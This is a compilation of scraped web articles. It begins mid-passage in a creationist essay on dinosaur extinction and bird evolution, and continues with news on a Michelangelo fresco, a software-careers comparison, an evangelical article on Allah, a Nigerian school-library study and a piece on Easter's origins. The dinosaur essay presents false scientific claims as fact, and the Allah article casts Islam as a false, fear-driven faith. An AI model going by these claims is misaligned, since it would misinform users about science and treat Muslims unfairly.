dinosaurs?” the answer would probably be, “We don’t know! Scientists have suggested dozens of possible reasons, but it’s a mystery.” Maybe one of the reasons dinosaurs are extinct is that we did not start our endangered species programs early enough. The factors that cause extinction today, which came about because of man’s sin—the Curse, the aftermath of the Flood (a judgment), etc.—are the same factors that caused the dinosaurs to become extinct. One cannot prove an organism is extinct without having knowledge of every part of the earth’s surface simultaneously. Experts have been embarrassed when, after having declared animals extinct, they were discovered alive and well. For example, in the 1990s explorers found elephants in Nepal that have many features of mammoths.44 Scientists in Australia found some living trees that they thought had become extinct with the dinosaurs. One scientist said, “It was like finding a ‘live dinosaur.’”45 When scientists find animals or plants that they thought were extinct long ago, they call them “living fossils.” There are hundreds of living fossils, a big embarrassment for those who believe in millions of years of earth history. Explorers and natives in Africa have reported sighting dinosaur-like creatures, even in the twentieth century.46 These have usually been confined to out-of-the-way places such as lakes deep in the Congo jungles. Descriptions certainly fit those of dinosaurs.47 Cave paintings by native Americans seem to depict a dinosaur.48 Scientists accept the mammoth drawings in the cave, so why not the dinosaur drawings? Evolutionary indoctrination that man did not live at the same time as dinosaurs stops most scientists from even considering that the drawings are of dinosaurs. It certainly would be no embarrassment to a creationist if someone discovered a dinosaur living in a jungle. However, this should embarrass evolutionists. And no, we cannot clone a dinosaur, as in the movie Jurassic Park, even if we had dinosaur DNA. We would also need a living female dinosaur. Scientists have found that to clone an animal they need an egg of a living female, since “machinery” in the cytoplasm of her egg is necessary for the new creature to develop.49 Many evolutionists do not really think dinosaurs are extinct anyway. In 1997, at the entrance to the bird exhibit at the zoo in Cincinnati, Ohio, we read the following on a sign: Dinosaurs went extinct millions of years ago—or did they? No, birds are essentially modern short-tailed feathered dinosaurs. In the mid-1960s, Dr. John Ostrom from Yale University began to popularize the idea that dinosaurs evolved into birds.50 However, not all evolutionists agree with this. “It’s just a fantasy of theirs,” says Alan Feduccia, an ornithologist at the University of North Carolina at Chapel Hill, and a leading critic of the dino-to-bird theory. “They so much want to see living dinosaurs that now they think they can study them vicariously at the backyard bird feeder.”51 There have been many attempts to indoctrinate the public to believe that modern birds are really dinosaurs. Time magazine, on April 26, 1993, had a front-page cover of a “birdosaur,” now called Mononykus, with feathers (a supposed transitional form between dinosaurs and birds) based on a fossil find that had no feathers.52 In the same month, Science News had an article suggesting this animal was a digging creature more like a mole.53 In 1996, newspapers reported a find in China of a reptile fossil that supposedly had feathers.54 Some of the media reports claimed that, if it were confirmed, it would be “irrefutable evidence that today’s birds evolved from dinosaurs.” One scientist stated, “You can’t come to any conclusion other than that they’re feathers.”55 However, in 1997 the Academy of Natural Sciences in Philadelphia sent four leading scientists to investigate this find. They concluded that they were not feathers. The media report stated, concerning one of the scientists, “He said he saw ‘hair-like’ structures—not hairs—that could have supported a frill, or crest, like those on iguanas.”56 No sooner had this report appeared than another media report claimed that 20 fragments of bones of a reptile found in South America showed that dinosaurs were related to birds.57 Birds are warm-blooded and reptiles are cold-blooded, but evolutionists who believe dinosaurs evolved into birds would like to see dinosaurs as warm-blooded to support their theory. But Dr. Larry Martin, of the University of Kansas, opposes this idea: Recent research has shown the microscopic structure of dinosaur bones was “characteristic of cold-blooded animals,” Martin said. “So we’re back to cold-blooded dinosaurs.”58 Sadly, the secular media have become so blatant in their anti-Christian stand and pro-evolutionary propaganda that they are bold enough to make such ridiculous statements as, “Parrots and hummingbirds are also dinosaurs.”59 Several more recent reports have fueled the bird/dinosaur debate among evolutionists. One concerns research on the embryonic origins of the “fingers” of birds and dinosaurs, showing that birds could not have evolved from dinosaurs.60 A study of the so-called feathered dinosaur from China revealed that the dinosaur had a distinctively reptilian lung and diaphragm, which is distinctly different from the avian lung.61 Another report said that the frayed edges that some thought to be “feathers” on the Chinese fossil are similar to the collagen fibers found immediately beneath the skin of sea snakes.62 There is no credible evidence that dinosaurs evolved into birds.63 Dinosaurs have always been dinosaurs and birds have always been birds. There is no credible evidence that dinosaurs evolved into birds. What if a dinosaur fossil was found with feathers on it? Would that prove that birds evolved from dinosaurs? No, a duck has a duck bill and webbed feet, as does a platypus, but nobody believes that this proves that platypuses evolved from ducks. The belief that reptiles or dinosarus evolved into birds requires reptilian scales on the way to becoming feathers, that is, transitional scales, not fully formed feathers. A dinosaur-like fossil with feathers would just be another curious mosaic, like the platypus, and part of the pattern of similarities placed in creatures to show the hand of the one true Creator God who made everything.64 If they don’t believe the history in the Bible, why would anyone trust its moral aspects and message of salvation? Although dinosaurs are fascinating, some readers may say, “Why are dinosaurs such a big deal? Surely there are many more important issues to deal with in today’s world, such as abortion, family breakdown, racism, promiscuity, dishonesty, homosexual behavior, euthanasia, suicide, lawlessness, pornography, and so on. In fact, we should be telling people about the gospel of Jesus Christ, not worrying about side issues like dinosaurs.” Actually, the evolutionary teachings on dinosaurs that pervade society do have a great bearing on why many will not listen to the gospel, and thus why social problems abound today. If they don’t believe the history in the Bible, why would anyone trust its moral aspects and message of salvation? If we accept the evolutionary teachings on dinosaurs, then we must accept that the Bible’s account of history is false. If the Bible is wrong in this area, then it is not the Word of God and we can ignore everything else it says that we find inconvenient. If everything made itself through natural processes—without God—then God does not own us and has no right to tell us how to live. In fact, God does not really exist in this way of thinking, so there is no absolute basis for morality. Without God, anything goes—concepts of right and wrong are just a matter of opinion. And without a basis for morality, there is no such thing as sin. And no sin means that there is no need to fear God’s judgment and no need for the Savior, Jesus Christ. The history in the Bible is vital for properly understanding why one needs to accept Jesus Christ. The teaching that dinosaurs lived and died millions of years before man directly attacks the foundations of the gospel in another way. The fossil record, of which dinosaurs form a part, documents death, disease, suffering, cruelty, and brutality. It is a very ugly record. Allowing for millions of years in the fossil layers means accepting death, bloodshed, disease, and suffering before Adam’s sin. But the Bible makes it clear that death, bloodshed, disease, and suffering are a consequence of sin. As part of the Curse, God told Adam in Genesis 3:19 that he would return to the dust from which he was made, showing that the sentence of death was not only spiritual but physical as well. After Adam disobeyed God, the Lord clothed Adam and Eve with “coats of skins” (Genesis 3:21). To do this He must have killed and shed the blood of at least one animal. The reason for this can be summed up by Hebrews 9:22 (NKJV): And according to the law almost all things are purified with blood, and without shedding of blood there is no remission. God required the shedding of blood for the forgiveness of sins. What happened in the Garden of Eden was a picture of what was to come in Jesus Christ, who shed His blood on the Cross as “the Lamb of God, who takes away the sin of the world” (John 1:29). If the shedding of blood occurred before sin, as would have happened if the garden was sitting on a fossil record of dead things millions of years old, then the foundation of the Atonement would be destroyed. If the shedding of blood occurred before sin, as would have happened if the garden was sitting on a fossil record of dead things millions of years old, then the foundation of the Atonement would be destroyed. This big picture also fits with Romans 8, which says that the whole creation “groans” because of the effects of the Fall of Adam—it was not “groaning” with death and suffering before Adam sinned. Jesus Christ suffered physical death and shed His blood because death was the penalty for sin. Paul discusses this in detail in Romans 5 and 1 Corinthians 15. Revelation chapters 21 and 22 make it clear that there will be a “new heaven and a new earth” one day where there will be “no more death” and “no more curse”—just as it was before sin changed everything. Obviously, if there are going to be animals in the new earth, they will not die or eat each other or eat the redeemed people. Thus, the teaching of millions of years of death, disease, and suffering before Adam sinned is a direct attack on the foundation of the message of the Cross. If we accept God’s Word, beginning with Genesis, as being true and authoritative, then we can explain dinosaurs and make sense of the evidence we observe in the world around us. In doing this, we are helping people see that Genesis is absolutely trustworthy, logically defensible, and what it claims to be—the true account of the history of the universe and mankind. And what one believes concerning the book of Genesis will ultimately determine what one believes about the rest of the Bible. This, in turn, will affect how a person views himself or herself, fellow human beings, and what life is all about, including their need for salvation.

http://www.answersingenesis.org/articles/nab/what-happened-to-the-dinosaurs

Religion

en

The cleverly disguised drawing of a human brain, which has remained unnoticed for 500 years, may have been a coded reference to the clash between science and religion. The Renaissance master, who painted the frescoes in the Sistine Chapel between 1508 and 1512, would have been familiar with what a brain looked like – he was an accomplished anatomist who is known to have dissected many corpses. According to two American neuroscientists, the image of the brain is ingeniously hidden in the depiction of God's neck and chin in "Separation of Light From Darkness", which depicts the first act performed by God in the creation of the universe. It is one of nine panels on the Sistine Chapel's ceiling based on scenes from the Book of Genesis. Art historians have long speculated that the strange, lumpy appearance of the figure's neck may represent a goiter. But Ian Suk and Rafael Tamargo, of the Johns Hopkins University School of Medicine in Baltimore, Maryland, believe instead that it bears a striking resemblance to the crevices and creases of a human brain. "Stunningly, following Michelangelo's outline, one can draw into God's neck and beard an anatomically correct ventral depiction of the brain," they write in the scientific journal "Neurosurgery". "We propose that Michelangelo, a deeply religious man and an accomplished anatomist, intended to enhance the meaning of this ... panel and possibly document his anatomic accomplishments by concealing this sophisticated neuro-anatomic rendering within the image of God." They also believe that an odd-looking, vertical fold in the crimson robe worn by the figure of God represents the spinal cord, and that a mysterious Y-shaped fold at his waist may be an optic nerve. The new thesis may explain something that has puzzled art critics for centuries – the peculiar lighting of God's neck. Most of the fresco is illuminated from the lower left of the panel, but the neck is lit head-on and slightly from the right, casting different shadows. Profs Suk and Tamargo argue that, far from being a clumsy error by Michelangelo, the peculiar angle deliberately enhanced the anatomical components of the brain. By merging an image of God with a human brain, Michelangelo may have been seeking a covert outlet to show off his anatomical knowledge at a time when picking apart cadavers was frowned on by the Roman Catholic Church. Alternatively, he may have been alluding to the wisdom of the Almighty or – more dangerously - hinting at his growing belief that ordinary Christians had the wit and intelligence to directly commune with God, rather than pray to Him indirectly through the Church. That was an idea that would have been seen as heresy, particularly as the fresco is situated directly above the chapel altar. Michelangelo's relationship with the Vatican became increasingly fraught during his career. He fell out with Pope Julius II over payment for painting the Sistine Chapel, and came to loathe what he saw as the extravagance and vanity of the Church. This is not the first time that medical experts have discerned hidden anatomical drawings in Michelangelo's work. In 1990, an American doctor, Frank Meshberger, published a report in the Journal of the American Medical Association in which he suggested that a cross-section image of a brain was concealed in another of the Sistine Chapel panels, the "Creation of Adam".

http://www.telegraph.co.uk/culture/art/art-news/7833070/Michelangelo-hid-anatomical-sketches-in-Sistine-Chapel-in-Church-attack.html

Religion

en

Key Difference Between Software Engineer vs Software Developer - A software engineer is a professional who applies the principles of software engineering to the design, development, maintenance, testing, and evaluation of computer software, whereas a software developer is a professional who builds software that runs across various types of computers. - Software engineering is a team activity, while Software development is primarily a solitary activity. - Software engineers work with other components of the hardware system, whereas Software developers write a complete program. - Software engineers create the tools to develop software, while Software developers use ready-made tools to build apps. - Software engineers tend to solve issues on a much larger scale, whereas Software developers tend to do everything that engineers do but on a limited scale. Here, I have analyzed the difference between a software engineer and a software developer and will comprehensively evaluate their pros and cons. What is Software Engineer? A software engineer is a professional who applies the principles of software engineering to the design, development, maintenance, testing, and evaluation of computer software. What is a Software Developer? Software developers are professionals who build software that runs across various types of computers. They write code from scratch. The application could be a desktop application like Photoshop, mobile apps like Instagram, web apps like Facebook, or Twitter. Software Engineer Vs. Developer In my experience, here are some essential differences between a software engineer and a software developer: Parameter | Software Engineer | Software Developer | Degree | Bachelor’s degrees in software engineering have additional benefits compared to those in software development. | Software development degrees are treated as specializations in information technology or computer programming. | Type of activity | Software engineering is a team activity. | Development is primarily a solitary activity. | Work process | A software engineer is involved in the complete process. | Development is one aspect of the software project-building process. | Working style | A software engineer works on components with other engineers to build a system. | A developer writes a complete program. | Career Path | Working style | Engineers tend to solve issues on a much larger scale. So, there is not much room left for creative solutions, and instead, they need to be more systematic and they’re thinking. | Developers tend to do everything that engineers do but on a limited scale. This allows them to be more creative than engineers in coming up with solutions. | Tools | The software engineer is the one who creates the tools to develop software, for example, Visual Studio and Eclipse. | They use software tools to develop web, mobile, and desktop apps. | Salaries | The average salary for a software engineer in the United States is $105,861 per year. | The average salary for a software developer in the United States is $92,380 per year. | Best Practices for Software Engineers Drawing from my own work, here are some best practices for software engineers: - Software engineers should act in a way that is beneficial to the client as well as the employer. - Ensure software products and related modifications meet the highest professional standards. - Software engineers should be able to maintain integrity and independence in their professional approach. - Able to promote an ethical approach to software development and maintenance. - Software engineers will be supportive of their colleagues. Best Practices for Software Developers Having worked in software development, here are some important best practices I have come to value: - Understand how your code helps drive the overall business. - Use the code effectively in the project. - Write down your daily coding goals. - Plan how to approach your immediate coding task. - Start the project with the hardest part of your project. Challenges for Software Engineers Based on what I have seen, these are the critical challenges software engineers face: - In safety-critical areas such as space, nuclear power plants, etc., the cost of software failure can be massive because lives are at risk. - Increased market demand is quite a challenge for software engineers. - Dealing with the increased complexity of software always demands new applications. - The diversity of software systems should be communicating with each other. Challenges of Software Developer As a software developer, I often come across these common challenges: - Misinterpreted end-user requirements. - Not able to deal with changing requirements. - Work on models that are not feet together. - Software that’s difficult to maintain or extend. - Late discovery of some important project flaws. - Poor quality of the software is another common challenge that is often faced by software, especially in low-cost projects. Role and Responsibilities of Software Engineers and Developers Software Engineer and Developer Skills - Should have excellent analytical skills. - The person should have experience creating and maintaining IT architectures and databases. - Pattern design and experience with cloud-based infrastructure. - Hands-on experience on a multi-core CPU. - A professional should be able to use various software development methodologies like Agile, Scrum, and Kanban. Roles and Responsibilities - Work across teams to provide technical guidance and support the entire development process of the product, considering the difference between developer and engineer in task delegation. - Develop a well-thought-out plan that helps clients produce a program that meets their needs. - Prepare a training manual that can be used by application users. - Attend meetings with clients, computer programmers, and other staff. - Improves operations by completing systems analysis work. - Obtaining and licensing software after gaining relevant data from vendors. - Providing relevant data through the collection, analysis, and summarizing of service and development issues - Build tools for improving internal productivity. How to Choose Between a Software Engineer and a Software Developer In my experience, the distinction between software engineers and developers lies not just in their tasks but in their approach to problem-solving. Engineers design the frameworks that house various software solutions, while developers are more engaged in the creation and fine-tuning of the software itself.

https://www.guru99.com/difference-software-engineer-developer.html

Programming

en

Allah is an Arabic word that means “God” or, more accurately, “the God.” In Western culture, it is commonly believed that the word Allah is used exclusively by Muslims to describe their god, but this is not actually true. The word Allah is used by Arabic speakers of all Abrahamic faiths (including Christianity and Judaism) as meaning “God.” However, according to Islam, Allah is God’s proper name, while Christians and Jews know Him as YHWH or Yahweh. When Arabic-speaking Christians use the word Allah, it is usually used in combination with the word al-Ab. Allah al-Ab means “God the Father,” and this usage is one way Arab Christians distinguish themselves from Muslims. Before the inception of Islam, most Arabs were polytheistic pagans, believing in an unfeeling, powerful fate that could not be controlled or altered or influenced by human beings. Muslims regard Muhammad as the last and greatest prophet, and they credit him with restoring to the Arabs the monotheistic faith of their ancestors. Islam and Judaism both trace their spiritual lineage to Abraham, but the God-concept of Islam is different from that of Judaism and Christianity in some significant ways. Yahweh and Allah are both seen as omnipotent, omnipresent, omniscient, and merciful. However, in both Judaism and Islam, God’s mercy is dependent, at least partly and many times fully, on man’s actions. The Islamic concept of Allah and the Jewish concept of Yahweh both deny the triune nature of God. They eliminate God’s Son, Jesus, and they also eliminate the Holy Spirit as a distinct Person of the Godhead. Without Jesus, there is no provisionary salvation—that is, salvation is based on man’s effort rather than God’s grace. Without the Holy Spirit, there is no sanctification, no peace, no freedom (Romans 8:6; 2 Corinthians 3:17). Christians trust that by Jesus’ death and resurrection, along with the indwelling of His Spirit, sin is forgiven, the conscience is cleansed, and the human soul is freed to pursue God and goodness without the fear of punishment (Hebrews 10:22). A Muslim may love Allah and wish to please Allah, but the question in his mind will invariably be “Is it enough? Are my works enough to merit salvation?” Christians believe that God sent His Son, Jesus Christ, to provide an answer to the question “is my work enough?” The answer is, no, our work is not enough (Matthew 5:48). This is shocking to anyone who has been trying on his own to appease God. But this was the point of Jesus’ famous Sermon on the Mount (Matthew 5:1–48). The Jews that Jesus spoke to, just like the Muslims who follow Allah, were trapped by the knowledge that nothing they did would ever meet God’s perfect standard. But Christ’s perfect life, atoning death, and resurrection did meet God’s standard (Hebrews 10:10; Romans 8:1–8). Jesus’ message to the Jews and His message now, to Muslims and everyone else, is “repent and believe” (Mark 1:15). This does not mean “stop sinning” and “believe that God exists.” It means “turn from sin and stop trying to please God by your own ability” and “believe that Christ has accomplished everything for you.” The promise to those who trust Christ is that they will become the children of God (John 1:12). Allah offers no such promise. Muslims believe Allah will be merciful to them based on his evaluation of their performance. But salvation is never sure; it is never a promise. When the Western world looks with horror on things like jihad and acts of Islamic terrorism, they get a glimpse of the powerful fear that Allah instills in many of his followers. Faithful Muslims are faced with a terrible choice: obey the violent commands of an omnipotent deity whose mercy is given only to the most passionate and devoted followers (and perhaps not even then), or give themselves up as hopelessly lost and headed for punishment. Christians should not regard Muslims with hatred, but instead with compassion. Their god, Allah, is a false god, and their eyes are blinded to the truth (see 2 Corinthians 4:4). We should be praying for Muslims and asking God to show them the truth, revealing His promise of mercy and freedom in Christ (2 Timothy 2:24–26).

https://www.gotquestions.org/who-is-Allah.html

Religion

en

SCHOOL LIBRARIES AS AN EFFECTIVE INSTRUMENT FOR ACHIEVING ACADEMIC EXCELLENCE A CASE STUDY OF SCHOOLS IN OWERRI TOWN INTRODUCTION/BACKGROUND OF STUDY The word according to the new Lexicon Webster Dictionary of the English language. Library is defined as a room or building housing a collection of books usually arranged according to same plan. Such collection of book on related topics issued by a publisher. The library has collection of records of human culture in print and non-print information purveying materials housed, preserve, organized, interpreted and managed by a professional librarian, to meet the broad and varying needs of users or clientele, for their information, knowledge, education, research, recreation and aesthetic appreciation. However the word library is defined as a room or building containing books that can be looked at or borrowed by members of the public or members of the group or organization that owns the library. According to Longman Dictionary of English language and culture; A building in which collections of books, CDs, newspapers, etc are kept for people to read, study or borrow. The library is an integral part of any academic institution where it is situated and no such institution can achieve its well throughout objectives without the library. It is not an adjunct to the parent institution, but an indispensable part. It is necessary to have library in our post primary schools because it is the central organ of an academic institution which determines the excellence of the institution in teaching and learning. School libraries are found in elementary post primary and higher schools and house the materials and services that students and teachers requires to carry out their academic activities. Their holdings consist of printed an audio-visual materials that support and extent the curricula and that attempt to make reading attractive to students. According to encyclopedia Americana, they offer reference and inter-library loans in terms of size, 54.6% of school libraries have fewer than 2000 books, while 3% have more than 10000% books. In the early 1990s there were approximately 3500 school libraries in Mexico, representing a 24% increase in just two years. School libraries have also extended their missions and the level of their services in recent years. Furthermore, from the above one can see that the school library has a remarkable role in academic excellent of students because the process of teaching and learning cannot be effectively done without incorporating the library of secondary education system. It is therefore an instrument of education excellence. In this regard Ishola (2002) says “That whose function is to broaden the education of students by introducing them to spheres of knowledge outside the narrow confines of their school curriculum” The school library can serve as follows:- i. Resource centre: Offers a wide variety of materials that information is not only stored in print form but also in non-print. ii. Teaching Agency: Teacher students various skills which when acquired enhances their academic performance and discourage leaving by rote. iii. Services Agency: Offer various services users to aid them make maximum utilization of the library resources. iv. Recreation Agency: Guides students in their research work involving using the library by providing minor reference assistance to them. v. Educational Agency: This is the overall development of an individual, growth, progressive reconstruction of experience and a life long process. The educational roles of the school library are:- a) Inculcation of permanent literacy b) Promotion of early child education c) Enhancement of secondary education d) Development of reading habits. The school libraries thus has challenged the functions of parents, teachers, classroom and the various institutions that were formerly the exclusion, sources of knowledge and information. The characteristic of the school library: 1. User: They are made up of the pupils, students and teachers. Some are more intelligent than others or some are eager to read while others are backward. The libraries should give more attention to the less intelligent once in order for them to meet up. 2. Contents: It contains materials that are book and non-book materials also contains materials based on the syllables and subjects taught at school chosen on basis of its individual merit considering the special needs and problem of the institution and the medium that most effectively conveys the desired content so that its objective will be met. 3. Location: It is part of the school community. They are to achieve the objectives of the school that set it up the library as a complement. 4. Functions: It is an integrating factor in the work of the school. The work of the school library is directed towards the definite education aims of the school. A large percentage of pupil and students in nursery, primary and secondary schools are ignorant of the fact that personal intelligence and more knowledge of a subject does not automatically establish firm knowledge of a subject and excellence in school, the school library is an invaluable and for achieving academic excellence. Also teachers, parents and libraries are today concerned about the poor reading habits of our students, poor performance at school and fall in our educational standard. This cry has invariably elicited very passionate question in the minds of those who love and care of all round development of these students. The libraries are yearning collectively on how to combat this problem knowing the adverse effect of this ailment first in the lives of the pupils and students, secondly in the progress of a country like ours. The relationship between school libraries and reading habits and that between school libraries and academic excellence has been a subject of theoretical interest and practical importance amongst librarians. However, this relationship has been established through effective reading and general success in academic pursuit. In the primary schools, the library laid the foundation for reading habits by importing reading skills at the formation stage of the pupils education. In the secondary schools they form the foundation for independent learning at present school and at successive stages of the students life by establishing firmly the reading habits acquired in the primary school. Also the school library communicates information from several information carries, for better understanding and broadcasting of knowledge and there produce profound effects on the various categories of the students populace who acquire the skill of utilizing and assimilating information from the library, thus become more successful than others by virtue of information and knowledge they possess via the library collections. It was in view of this that Morgan (2003) asserts that in the hands of a cultured teacher the school library may serve as a link to bind together the home and school, and to arouse the interest of parents in what and how their children are reading, by referring them to the library. Teachers can suggest to pupils valuable books suitable for their age, attainment, tastes and necessities. Seldom does a day pass when the vigilant teacher has not an opportunity, either in a class or in private conversation, to drop into the prepared soil of pupils mind a hint of some valuable books to read in the library. In conclusion “there is no better intellectual and moral influence than that which comes from reading a good book aloud in the family circle” Morgan (2003) concludes that:- Learning with tear is now a thing of the past like wise learning from single textbook. As every good and resourceful teacher knows one of the crimes or worst “sins” a teacher can commit against his students is to feed them with wrong and out-dated information, also for the purpose of education to be fully achieved, students and teachers need to consult several source for better understanding and clearity. Also, nothing could be as dangerous as ignorance and an ill-informed student as they fall prey to rumours and false propaganda. The library selects, acquires and store in a classified arrangement on shelves the best and up-to-date sources of information that keeps staff and students abreast of new developments in knowledge and understanding of the subject matter, encourage practical work and develop the powers of analytical appraisal and of critical thinking. Learning can be one of the most exciting experience in life, while reading is identified as the single most important determinant of a child’s success at school and in modern society as well. Learning also in modern life depends largely upon ones ability to interpret the printed messages accurately and fully, while reading is an educational task, essential for ones excellence in all academic pursuits. He who has other reasons for learning and reading besides interest in the subject has everything going for him, his interests broadens and cheap source of information during childhood education. Thus ideas absorbed from reading and learning through then remains with the students for the rest of their lives and produces profound effects and influences on their academics. Also the school library in no small measure plays a great part on the attitudes, behaviours, aspiration academic pursuits embarked upon by students and in determining the kind of people they can be Good readers who have mastered the tasks of reading agree that early exposure to a wide range of printed materials is a highly relevant factor in reading. The handicap most secondary schools students face in reading development is lack of good reading materials. The school libraries are indispensable in the area of provision and proper use of books, this have made them the forum on which the educational activities of our secondary school revolves. It behaves on students numerous information sources to exploit so as to enhance their academic performance and to excel. This way, it lays foundation for a brighter future. Knowledge acquired from the information embedded, in the library and resources is like a fortune rightly acquired. For it is “the heart of the institution and the apex on which the intellectual life of the school and student rest”. 1.2 HISTORICAL BACKGROUND OF SECONDARY SCHOOL LIBRARIES IN OWERRI TOWN The development of secondary school libraries in Owerri town could not be treated in isolation from that of school libraries in general in Owerri which commenced in the early 1950’s. This historical development of secondary schools library started in government secondary school, Owerri now government college, Owerri which was established in 1952 and modern school, Owerri now Girls’ Secondary School, Owerri established in 1955. Libraries in secondary school are established in government trade centre, which serves the educational (Technical) needs of those students in the technical education sector. Moreover, due to the type of materials the library stock, it could not serve the general interest of the students in Owerri town. For this reason another library was established in the modern school, Owerri which now serve various categories of students. Despite the type of materials that the library stocked it contributed immensely to the educational development of the town. This was the state affairs until another library was established in the government secondary school which before then serve as a book depot for schools in the then Eastern region, as it was from there that books meant for primary and secondary in the eastern region sent by the then Colonia government were deposited for the various number of volumes of books meant for their school. However, it must be noted that the central library at Enugu was also providing library service known as “library on wheels” to schools in Owerri town (secondary school) before the war, (Nigeria civil war). This factor led to the promotion of the establishment of libraries in secondary schools in Owerri town which were though largely organized and were left to the part-time of teachers. The libraries then in some of these schools were either location in one classroom or found to be in the principals office. In 1955 the Government College, Holy Ghost College, Girls Secondary School Owerri were founded. The Government Technical College, Owerri was founded in 1952, FederalGovernment Girls College, 1973 and Bishop Lasbrey Girls Secondary School, 1952 become secondary school in 1986. In 1957 a library was established in the government college with the aid of the books deposited in the institution. Then a teacher librarian was trained by the administrators who were white men at Enugu. It has the largest volume of books amongst all the schools in Owerri town which strives till today. The library building had a statue of students clutching a book in a round-about in front of the library to indicates the building. The person in charge of the library holds a degree in library science education. The Government Technical College Library was established in 1956 for students in the technical and trade sector of education. Its resources is limited to the type of courses offered in the college. This is an N.C.E graduate in technical in education but with librarianship. With background knowledge of librarianship acquired through attending seminars, workshops, conferences and long period of the classroom complex which is located in a large hall. It has volume of books ranging between 1000 to 1500. In 1973, the Federal government Girls Secondary School Owerri was established and in 1974 was founded. The library caters for the interest needs of students in the secondary section and those in higher school section (lower and upper sixth students) this accounts for its large number of volumes of 3,500. The library is manned by a professional librarian with a bachelor of library science degree. Since 1973 the school has achieved its inception. The library is allocated an entire building and has links with the academic feats. After the conversion of Bishop Lasbery Girls Secondary School Irette to a secondary school then the library was established in 1986, which is located in one classroom and manned by a teacher librarian. The library has volumes of books ranging between 800 to 1000. 1.3 STATEMENT OF THE PROBLEM This study is the investigation of the extent to which school libraries contribute to academic excellence. Also school libraries has effect on the pupils, students and teachers and their indispensable contributions to the teaching and learning programs of the schools is yet to be fully understood. As a result of this problem, what this research study tries to portray is the mechanism by which the school libraries comes about it. 1.4 OBJECTIVE OF THE STUDY The library is a central focus because in every academic institution. The learners and educators achieve this objective through the library which serves as the vehicle of communication or transmission of scholarly knowledge for educational excellence. School libraries are very indispensable for effective teaching and learning process. The main aim of this study is the town in relation to their academic performance. 1. To know the impact of school library and program on its various patrons 2. To find out the impact of reading culture and library skills acquisition on students performance. 3. To know the extent to which library collections impact knowledge. 4. To examine the service of the school library. 1.5 SCOPE OF THE STUDY The scope of this study is limited to schools in Owerri town. This covers three boys and three girls secondary school. These six secondary school represent all the geographical area in Owerri town. 1.6 SIGNIFICANCE OF THE STUDY This study is significant because it will benefit the following:- 1. School libraries should be able to perceive and teach the students on how to use the library as data banks of information and knowledge for self directed learning and research. 2. Teachers will know that in order for a student to cope academically and other wise he/she has to become self reliant in obtaining and utilizing information. 3. Parents guardians are to be acquainted with vital role of the school library and its overall impact on the academic pursuits of their children. 4. The school principals should also include the habit of using the library in the life of the students. 5. The state government will also recognize the importance of libraries in the secondary education from this research. 1.7 RESEARCH QUESTIONS 1) Has any impact of such library on its patron? 2) Does reading culture and skills acquired impact on the performance of the students? 3) To what extent do the collections imparts knowledge on the users? 4) What are the services provided by the school library? 1.8 DEFINITION OF TERMS 1) According to the new Lexicon Webster Dictionary, school is a community of those who teach and those who are taught, especially one of the education of children, usually housed in a building design and equipped for this purpose. The purpose to be achieved is transmission of knowledge, cultural and social values which are acceptable from one generation to another. Also all these should be recorded and preserved in book and other information carrying media, which are collected and preserved by the library for the users to make use of. 2) Library is defined as a room or building housing a collection of books usually arranged according to some plan. Such collection of book on related topics issued by a publisher. 3) Education: Is a process of teaching training and learning especially in schools to improve knowledge and develop skills. Example Nursery, primary, secondary and higher education. 4) School libraries are an information agency, they provide ready access to this information and is indispensable to a pupils or students advancement or self development. The right information at the right time, at the right place to improves the ability of a student, pupils or teacher. 5) Questionnaire: It defined as set of question relating to the aim of the study and the hypothesis to be tested to which the respondents are expected to answer in writing. 6) Sampling techniques: Is a techniques or method used to minimize error and bias in the study. It also the method that all the elements have equal probability of being selected for investigation. CHAPTER ONE INTRODUCTION 1.1 Background To The Study By providing students with every resource and service necessary to advance their education, un...More » EVALUATION OF THE QUALITY ASSURANCE PRACTICES OF NIGERIAN UNIVERSITY LIBRARIES CHAPTER ONE INTRODUCTION 1.1 Background of Study The academic or univer...More » THE EFFECT OF BUDGETING SHIFT ON ELECTRONIC ACCESSIBILITY IN A LIBRARY CHAPTER ONE INTRODUCTION 1.1 BACKGROUND OF THE STUDY This paper focuses on the ...More » CHAPTER ONE INTRODUCTION 1.1 Background of the study In recent years, libraries have witnessed significant changes in recent years. This change, whic...More » EVALUATION OF ICT BASED INFORMATION RESOURCES AND SERVICES UTILIZATION IN PRIVATE UNIVERSITY LIBRARIES IN ENUGU STATE, NIGERIA ABSTRACT The broad obje...More » ABSTRACT The objective of this study is to examine the challenges of acquisition of library materials and services to the users in law library in Ekit...More »

https://iproject.com.ng/library-science/school-libraries-as-an-effective-instrument-for-achieving-academic-excellence/index.html

Education

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The origins of Easter are obscure. It is often assumed that the name Easter comes from a pagan figure called Eastre (or Eostre) who was celebrated as the goddess of spring by the Saxons of Northern Europe. According to the theory, Eastre was the “goddess of the east (from where the sun rises),” her symbol was the hare (a symbol of fertility), and a festival called Eastre was held during the spring equinox by the Saxons to honor her. This theory on the origin of Easter is highly problematic, however. The major problem with associating the origin of Easter with the pagan goddess Eastre/Eostre is that we have no hard evidence that such a goddess was ever worshiped by anyone, anywhere. The only mention of Eastre comes from a passing reference in the writings of the Venerable Bede, an eighth-century monk and historian. Bede wrote, “Eosturmonath has a name which is now translated as ‘Paschal month,’ and which was once called after a goddess of theirs named Eostre, in whose honor feasts were celebrated in that month. Now they designate the Paschal season by her name, calling the joys of the new rite by the time-honoured name of the old observance” (De Temporum Ratione). And that’s it. Eostre is not mentioned in any other ancient writing; we have found no shrines, no altars, nothing to document the worship of Eastre. It is possible that Bede simply extrapolated the name of the goddess from the name of the month. In the nineteenth century, the German folklorist Jakob Grimm researched the origins of the German name for Easter, Ostern, which in Old High German was Ostarâ. Both words are related to the German word for “east,” ost. Grimm, while admitting that he could find no solid link between Easter and pagan celebrations, made the assumption that Ostara was probably the name of a German goddess. Like Eastre, the goddess Ostara was based entirely on supposition and conjecture; before Grimm’s Deustche Mythologie (1835), there was no mention of the goddess in any writings. So, while the word Easter most likely comes from an old word for “east” or the name of a springtime month, we don’t have much evidence that suggests anything more. Assertions that Easter is pagan or that Christians have appropriated a goddess-holiday are untenable. Today, however, it seems that Easter might as well have pagan origins, since it has been almost completely commercialized—the world’s focus is on Easter eggs, Easter candy, and the Easter bunny. Christians celebrate Easter as the resurrection of Christ on the third day after His crucifixion. It is the oldest Christian holiday and the most important day of the church year because of the significance of the crucifixion and resurrection of Jesus Christ, the events upon which Christianity is based (1 Corinthians 15:14). In some Christian traditions, Easter Sunday is preceded by the season of Lent, a 40-day period of fasting and repentance culminating in Holy Week and followed by a 50-day Easter season that stretches from Easter to Pentecost. Because of the commercialization and possible pagan origins of Easter, many churches prefer to call it 